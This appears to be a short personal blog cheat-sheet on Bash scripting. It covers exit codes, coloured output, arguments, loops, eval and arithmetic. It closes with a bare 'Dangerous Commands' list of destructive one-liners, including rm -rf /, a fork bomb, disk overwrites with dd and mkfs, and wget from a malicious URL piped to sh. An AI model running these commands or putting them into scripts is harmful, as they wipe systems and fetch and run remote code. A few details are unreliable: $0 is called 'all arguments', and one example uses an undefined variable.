Bash Programming

Fri, Oct 21, 2022 2-minute read

Style Guide

https://google.github.io/styleguide/shellguide.html

Exit Codes

0: Success
1 to 255: Error

Print last exit code of a command

echo $?

Table Reference

Code	Description
1	Catchall for general errors
2	Misuse of shell built-ins
126	Command invoked cannot execute
127	Command not found
128	Invalid argument to exit
130	Script terminated by Ctrl+C

Displaying Beautifully

Example:

#!/bin/bash

bold=$(tput bold);
under=$(tput smul);
italic=$(tput sitm);
info=$(tput setaf 2);
error=$(tput setaf 160);
warn=$(tput setaf 214);
reset=$(tput sgr0);

echo "${info}INFO${reset}: This is an ${bold}info${reset} message";
echo "${error}ERROR${reset}: This is an ${underline}error${reset} message";
echo "${warn}WARN${reset}: This is an ${italic}warn${reset} message";

Scripting

Header: She Bang!

#!/bin/bash

#!/bin/sh

Arguments

$1: first argument
$2: second argument…
$0: all arguments
$_: last argument
$#: holds the count of positional arguments passed to the function
$@: expands the list to separate strings. For example: “$1”, “$2”, …
$*: expands the list into a single string, separating parameters with a space. For example “$1 $2”…

Code Structures

Function

function myFunction() {
  # code
}

Execute:

myFunction [...args]

If/Else

if COMMAND; then
  # code
else
  # code
fi

For Loops

for element in LIST; do
  # code
done

for counter in {1..10}; do
  # code
done

While Loops

while COMMAND; do
  # code
done

Inline pipe:

some_command | while read output; do another_command; done

Examples

For loop with command:

for i in $(ls ~ | grep Do); do
  echo "${i}";
done

Inline while:

ls ~ | grep Do | while read output; do echo "${output}"; done

For loop within strings:

#!/bin/bash

P1="a b c";
P2="d e f";
P=${P1}" "${P2};
for letter in ${P}; do
  echo ${letter};
done

For loop with lists:

#!/bin/bash

LIST=(
  "Payment"
  "Merchant"
);
for endpoint in ${LIST[@]}; do
  echo ${endpoint};
done

Hints

Define a command in a variable and invoke it with `eval`

FILE="data.csv";
AWK="awk -f script.awk";
eval "${AWK} ${FILE}";

Arithmetic Operations

#!/bin/bash
y=5;
x=10;

echo $((x+y));
echo $((x-y));
echo $((x*y));
echo $((x/y));
echo $((x%y)); # modulus

Bash treat numbers as integers, this might be a problem in some cases. In this case, use the basic calculator bc.

echo "scale=2; ${x}/${y}" | bc

Variations:

expr ${x} + ${y};

let "answer = ${x} + ${y}";
echo ${answer};

Dangerous Commands

rm -rf /
command > /dev/sda
:(){:|:&};:
> file (cat /dev/null > file)
^foo^bar
mv directory /dev/null
wget http://malicious-source-url -O- | sh
crontab -r
history | sh
dd if=/dev/random of=dev/sda
mkfs.ext3 /dev/sda
gunzip untrusted.gz
Remove python: sudo apt purge python2.x-minimal
chmod -R 777 /